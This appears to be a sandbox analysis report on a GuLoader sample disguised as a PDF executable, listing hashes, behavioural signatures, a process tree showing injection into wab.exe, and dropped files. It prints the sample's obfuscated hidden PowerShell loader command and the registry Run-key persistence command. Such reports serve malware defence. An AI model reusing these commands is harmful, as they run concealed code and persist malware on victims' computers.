Overview
overview
10Static
static
33443424611·pdf.exe
windows7-x64
103443424611·pdf.exe
windows10-2004-x64
8$PLUGINSDI...sh.dll
windows7-x64
3$PLUGINSDI...sh.dll
windows10-2004-x64
3$PLUGINSDI...ge.dll
windows7-x64
1$PLUGINSDI...ge.dll
windows10-2004-x64
1$PLUGINSDI...fo.dll
windows7-x64
3$PLUGINSDI...fo.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows7-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3Analysis
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max time kernel
119s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
28-06-2024 11:01
Static task
static1
Behavioral task
behavioral1
Sample
3443424611·pdf.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
3443424611·pdf.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/BgImage.dll
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/BgImage.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240220-en
Behavioral task
behavioral10
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240611-en
General
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Target
3443424611·pdf.exe
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Size
655KB
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MD5
b1635b455bd73cb6c547728cb1d1fca1
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SHA1
5e016cc09d0c5f8429c6955bc3bfd9a07d25741d
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SHA256
5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930
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SHA512
9829dc60d520c945c1aef68dd6942a1eca4cc0c4fe8dc092e20bdade413ffe412a58e376be446e64cc479cb4e2d872828336fbc8742189d20656900bdcb97795
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SSDEEP
6144:z9KOQS4B4GMSGJpFhcbvDIZDAPGQzvOWECsjqfn/HUgcwViw6977fdRw9wQZe:zsB4GOcbrKDgTzvOWlEgcwVh693fdWY
Malware Config
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 4 IoCs
Processes:
3443424611·pdf.exepid process 2436 3443424611·pdf.exe 2436 3443424611·pdf.exe 2436 3443424611·pdf.exe 2436 3443424611·pdf.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Flgestningens% -windowstyle minimized $Staturer=(Get-ItemProperty -Path 'HKCU:\\Uigennemsigtigt159\\').Virelai2;%Flgestningens% ($Staturer)" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
Processes:
wab.exepid process 1332 wab.exe 1332 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 936 powershell.exe 1332 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 936 set thread context of 1332 936 powershell.exe wab.exe -
Drops file in Windows directory 1 IoCs
Processes:
3443424611·pdf.exedescription ioc process File opened for modification C:\Windows\Fonts\anorakkerne.ini 3443424611·pdf.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry key 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepid process 936 powershell.exe 936 powershell.exe 936 powershell.exe 936 powershell.exe 936 powershell.exe 936 powershell.exe 936 powershell.exe 936 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 936 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 936 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
3443424611·pdf.exepowershell.exewab.execmd.exedescription pid process target process PID 2436 wrote to memory of 936 2436 3443424611·pdf.exe powershell.exe PID 2436 wrote to memory of 936 2436 3443424611·pdf.exe powershell.exe PID 2436 wrote to memory of 936 2436 3443424611·pdf.exe powershell.exe PID 2436 wrote to memory of 936 2436 3443424611·pdf.exe powershell.exe PID 936 wrote to memory of 1332 936 powershell.exe wab.exe PID 936 wrote to memory of 1332 936 powershell.exe wab.exe PID 936 wrote to memory of 1332 936 powershell.exe wab.exe PID 936 wrote to memory of 1332 936 powershell.exe wab.exe PID 936 wrote to memory of 1332 936 powershell.exe wab.exe PID 936 wrote to memory of 1332 936 powershell.exe wab.exe PID 1332 wrote to memory of 1952 1332 wab.exe cmd.exe PID 1332 wrote to memory of 1952 1332 wab.exe cmd.exe PID 1332 wrote to memory of 1952 1332 wab.exe cmd.exe PID 1332 wrote to memory of 1952 1332 wab.exe cmd.exe PID 1952 wrote to memory of 1048 1952 cmd.exe reg.exe PID 1952 wrote to memory of 1048 1952 cmd.exe reg.exe PID 1952 wrote to memory of 1048 1952 cmd.exe reg.exe PID 1952 wrote to memory of 1048 1952 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3443424611·pdf.exe"C:\Users\Admin\AppData\Local\Temp\3443424611·pdf.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Skyldraadet48=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Dicaeidae.Gle';$Spaciotemporal=$Skyldraadet48.SubString(71979,3);.$Spaciotemporal($Skyldraadet48)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Flgestningens% -windowstyle minimized $Staturer=(Get-ItemProperty -Path 'HKCU:\Uigennemsigtigt159\').Virelai2;%Flgestningens% ($Staturer)"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Flgestningens% -windowstyle minimized $Staturer=(Get-ItemProperty -Path 'HKCU:\Uigennemsigtigt159\').Virelai2;%Flgestningens% ($Staturer)"5⤵
- Adds Run key to start application
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Dicaeidae.GleFilesize
70KB
MD53cb12e501d2c790546fa8c72d66c2f75
SHA1b4cefc4cc65317033b389e7c5cad6f049ddd9bc1
SHA256f4279bda3166ee49b35f96f2a16584496cfdf56812948787b206a99c4438b55f
SHA51205b150c4ecce9177cbea741ef18327727b5d619d0bd820a70be61045a191494dcf5cf856e3b3a426ed4105e9b4464c24fca2977ba2ff9c44317c879594e9b3d8
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C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Outtells.CoeFilesize
340KB
MD57464902d05e069110750f0aef5ada538
SHA11007755bcc362e3dcf13ce3f33cdb1f53e75cf20
SHA256c6683aca973aff7026a47c6ad730be8b2c75462cc35aee3f77ba4082f885b583
SHA512dcaf2716b37728a47f905054f98caf79d90818f695f63a00351d29f6089f0b0bc69d4b887b17a4a771d54b8fda9b46daf6e3c957b89199065ffeeef31687b4a2
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C:\Users\Admin\Pictures\slukningen.lnkFilesize
962B
MD55010e654e93d80954ad555eb49b03be3
SHA1691d4cfd6e98c889bbdd0c4896d4fded25b42e80
SHA256dced6b2fc4f164f41217ac2680b9e190c674425142cface9e5da2affa9424ee3
SHA512bb07dee14fa8ce2c7d97cc3e9a04395a914917f8d0eef464f10ec31538743d23f68804557e1f9e19a213aca0d76f22f53e6bfc4a1653267abaaa1afc50daf0ad
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\Users\Admin\AppData\Local\Temp\nsd62AA.tmp\AdvSplash.dllFilesize
6KB
MD56def2cf3daf850acdc1a3e7340a439c4
SHA195d0d26f60cd5af697502cd5e53a54913ab188fb
SHA2563ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175
SHA51216b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413
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\Users\Admin\AppData\Local\Temp\nsd62AA.tmp\BgImage.dllFilesize
7KB
MD52bb17d45e5ad92053ce1e500408dd8a9
SHA1f5d3a7ee6e28df532e9ce33976c92ff30a5665e4
SHA25671ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53
SHA512efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f
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\Users\Admin\AppData\Local\Temp\nsd62AA.tmp\UserInfo.dllFilesize
4KB
MD58ef0e4eb7c89cdd2b552de746f5e2a53
SHA1820f681e7cec409a02b194a487d1c8af1038acf0
SHA25641293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc
SHA512a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5
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\Users\Admin\AppData\Local\Temp\nsd62AA.tmp\nsExec.dllFilesize
6KB
MD5c129bc26a26be6f5816a03520bb37833
SHA118100042155f948301701744b131c516bf26ddb8
SHA256d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4
SHA512dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63
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memory/936-189-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-188-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-190-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-187-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-193-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-194-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-186-0x0000000074221000-0x0000000074222000-memory.dmpFilesize
4KB
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memory/936-196-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-197-0x0000000074220000-0x00000000747CB000-memory.dmpFilesize
5.7MB
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memory/936-199-0x0000000006270000-0x000000000AD36000-memory.dmpFilesize
74.8MB
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memory/1332-200-0x00000000002F0000-0x0000000001352000-memory.dmpFilesize
16.4MB
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memory/1332-222-0x0000000001360000-0x0000000005E26000-memory.dmpFilesize
74.8MB